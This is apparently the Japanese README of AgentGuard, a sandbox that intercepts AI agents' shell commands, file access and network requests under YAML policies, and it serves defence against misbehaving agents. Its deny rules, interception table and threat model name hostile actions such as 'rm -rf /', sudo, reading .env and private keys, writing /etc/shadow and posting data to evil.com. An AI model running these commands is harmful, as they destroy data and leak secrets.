
AIエージェント向けのゼロトラストサンドボックス。カーネルレベルのファイルシステム隔離、透過的なネットワークプロキシ、YAMLベースのポリシーエンジンを備え、シェルコマンド、ファイル操作、ネットワークリクエストをインターセプトして制御します。
自律型AIエージェント向けゼロトラストサンドボックス。
AgentGuardは、あらゆるAIエージェント(LangChain、CrewAI、AutoGen、カスタムスクリプト)に安全レールを装着します。1つのコマンドを変更するだけです:
# 以前(危険 – エージェントがフルシステムアクセスを持つ)
python my_agent.py
# 以後(サンドボックス化)
agentguard run -- python my_agent.py
AgentGuardは、エージェントが実行するすべてのシェルコマンド、ファイル変更、ネットワーク要求をインターセプトします。安全なアクションは自動許可、危険なアクションは自動ブロック、それ以外はすべて人間による承認を求めます。
AgentGuardは4つの防御層が連携して動作します:
┌─────────────────────────────────────────────────────────────┐
│ 層0: ファイルシステム監獄 (macOSではsandbox-exec) │
│ カーネルレベルでの強制。システムコールレベルでファイル │
│ 書き込みとネットワークを制限します。エージェントは │
│ ユーザー空間からバイパスできません。Pythonのopen()、 │
│ requests.post()などをブロックします。 │
├─────────────────────────────────────────────────────────────┤
│ 層1: ネットワークプロキシ │
│ 透過的なHTTP/HTTPSプロキシ。エージェントが行うすべての │
│ ネットワーク呼び出しがポリシーに対してチェックされます。 │
│ 宛先ごとの許可/拒否をTUIで完全可視化。 │
├─────────────────────────────────────────────────────────────┤
│ 層2: PATHシャム │
│ git、pip、curl、rmなどのコマンドをインターセプトする │
│ シェルスクリプトのシャム。各シャムは実際のバイナリを実行 │
│ する前にデーモンに許可を求めます。 │
├─────────────────────────────────────────────────────────────┤
│ 層3: ポリシーエンジン+承認デーモン │
│ YAMLベースのルールでインターセプトされたすべてのアクション │
│ を評価します。安全なコマンドは自動許可、危険なものは自動 │
│ ブロック、それ以外は人間にプロンプトを表示します。 │
└─────────────────────────────────────────────────────────────┘
どの単一層もセキュリティ境界ではありません。それらは連携します – 多層防御です。
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/
両方のバイナリが同じディレクトリにある必要があります。
agentguard init
これによりカレントディレクトリに .agentguard/policy.yaml が作成されます。必要に応じて編集してください。
agentguard run -- python my_agent.py
TUIがターミナルを占有し、以下を表示します:
Claude Codeなど、ターミナルを必要とする対話型ツール向け:
agentguard run --headless -- claude
エージェントが直接ターミナルを取得します。AgentGuardはバックグラウンドで静かに動作します。すべてのイベントは ~/.agentguard/logs/headless.log に記録されます。別のターミナルで監視:
tail -f ~/.agentguard/logs/headless.log
agentguard run [flags] -- <command> [args...]
--policy <path> 特定のポリシーファイルを使用
--headless TUIなし – エージェントがターミナルを取得
--default-allow ヘッドレスモードでPROMPT判定を自動許可(デフォルト: auto-deny)
--no-sandbox sandbox-execを無効化(シャムとプロキシは引き続きアクティブ)
agentguard init デフォルトポリシーファイルを作成
agentguard version バージョンを表示
ポリシーはYAMLファイルで、エージェントに許可/禁止するアクションを定義します。AgentGuardは3つの場所を順にチェックします:
./.agentguard/policy.yaml(プロジェクトローカル)~/.agentguard/policy.yaml(ユーザーグローバル)version: 1
deny:
# 危険なコマンドをブロック
- command: "rm"
args: "-rf *"
reason: "再帰的な強制削除は危険すぎます"
- command: "sudo"
args: "*"
reason: "権限昇格は許可されていません"
- command: "chmod"
args: "777 *"
reason: "ワールド書き込み可能なパーミッションは危険です"
# 機密ファイルの読み取りをブロック(sandbox-execで強制)
- file:
path: "*.env"
action: "read"
reason: "エージェントに.envファイルを読ませない"
- file:
path: "*.pem"
action: "read"
reason: "エージェントに秘密鍵を読ませない"
allow:
# 安全な読み取り専用コマンド
- command: "ls"
- command: "cat"
- command: "pwd"
- command: "echo"
- command: "grep"
- command: "head"
- command: "tail"
- command: "wc"
# 読み取り専用git
- command: "git"
args: "status"
- command: "git"
args: "log *"
- command: "git"
args: "diff *"
# ワークスペースへの書き込みを許可
- file:
path: "/tmp/workspace/**"
action: "write"
# 特定のAPIエンドポイントを許可
- network:
destination: "api.anthropic.com:443"
- network:
destination: "api.github.com:443"
deny network *) – 3番目にチェック。デフォルト拒否として機能します。コマンドルール – シェルコマンドを名前と引数パターンで照合:
- command: "git"
args: "push *"
reason: "プッシュには承認が必要です"
ファイルルール – ファイル操作を照合(sandbox-execで強制):
- file:
path: "*.env"
action: "read" # "read" または "write"
reason: "シークレットを保護"
ネットワークルール – ネットワーク宛先を照合(プロキシ + sandbox-execで強制):
- network:
destination: "api.anthropic.com:443"
コマンド引数、ファイルパス、ネットワーク宛先ではワイルドカード * を使用できます。
| キー | アクション | タイミング |
|---|---|---|
Y | 保留中のリクエストを許可 | 承認プロンプト表示中 |
N | 保留中のリクエストを拒否 | 承認プロンプト表示中 |
A | 許可+このセッション中記憶(常に許可) | 承認プロンプト表示中 |
B | 拒否+このセッション中記憶(永久ブロック) | 承認プロンプト表示中 |
Tab | エージェントのstdout/stderrパネルの切り替え | 常時 |
Up/Down | アクティビティストリームをスクロール | 常時 |
Q | 終了(エージェントを強制終了) | 常時 |
| エージェントのアクション | シャム | プロキシ | sandbox-exec |
|---|---|---|---|
subprocess.run(["rm", "-rf", "/"]) | はい | - | - |
subprocess.run(["git", "push"]) | はい | - | - |
requests.post("https://evil.com") | - | はい | はい |
urllib.request.urlopen("https://api.com") | - | はい | はい |
open(".env", "r") | - | - | はい |
open("/etc/shadow", "w") | - | - | はい |
/usr/bin/curl https://evil.com (絶対パス) | - | はい | はい |
agentguard/
├── cmd/
│ ├── agentguard/ # メインCLIバイナリ
│ └── agentguard-check/ # シャムヘルパーバイナリ
├── internal/
│ ├── policy/ # ポリシーエンジン(YAML解析、ルール評価)
│ ├── events/ # イベントシステム(JSONL監査ログ、pub/sub)
│ ├── daemon/ # 中央デーモン(Unixソケット、承認キュー)
│ │ └── client/ # シャム用クライアントライブラリ
│ ├── shim/ # シャムジェネレーター(PATHベースのインターセプト)
│ ├── proxy/ # 透過的ネットワークプロキシ
│ ├── spawner/ # オーケストレーション+macOSサンドボックス統合
│ └── ui/tui/ # ターミナルUI(Bubble Tea)
├── configs/
│ └── default_policy.yaml # リファレンスポリシーファイル
├── .gitignore
├── go.mod
├── LICENSE
└── README.md
| コンポーネント | パッケージ | 目的 |
|---|---|---|
| ポリシーエンジン | internal/policy | YAMLルールを解析し、リクエストを評価 → ALLOW / DENY / PROMPT |
| イベントシステム | internal/events | 追記専用JSONL監査ログ+TUI用リアルタイムpub/sub |
| デーモン | internal/daemon | Unixソケットサーバー、タイムアウト付き承認キュー、セッション管理 |
| TUI | internal/ui/tui | Bubble TeaターミナルUI:アクティビティストリームと承認モーダル |
| シャムジェネレーター | internal/shim | シェルスクリプトシャムを生成し、実際のバイナリパスを解決 |
| ネットワークプロキシ | internal/proxy | 透過的HTTP/HTTPSプロキシ:宛先ごとのポリシーを強制 |
| スパウナー | internal/spawner | すべてを統括:ポリシー → デーモン → シャム → プロキシ → サンドボックス → エージェント → TUI |
| macOSサンドボックス | internal/spawner/jail_darwin.go | Seatbeltプロファイルを使ったsandbox-exec、カーネルレベルでの強制 |
インターセプトされたすべてのアクションは ~/.agentguard/logs/YYYY-MM-DD.jsonl に記録されます:
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}
標準ツールでクエリ:
# 今日拒否されたすべてのアクション
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'
# すべてのネットワークリクエスト
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'
# 人間の承認が必要だったコマンド
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'
| プラットフォーム | シャム | プロキシ | sandbox-exec | ファイル読み取り拒否 |
|---|---|---|---|---|
| macOS (Apple Silicon) | はい | はい | はい | はい |
| macOS (Intel) | はい | はい | はい | はい |
| Linux | はい | はい | いいえ(将来:名前空間+seccomp) | いいえ |
| Windows | はい | はい | いいえ(将来:Job Objects) | いいえ |
脅威モデル: エージェントは信頼されていません。以下の可能性があります:
rm -rf /、sudo).env、秘密鍵)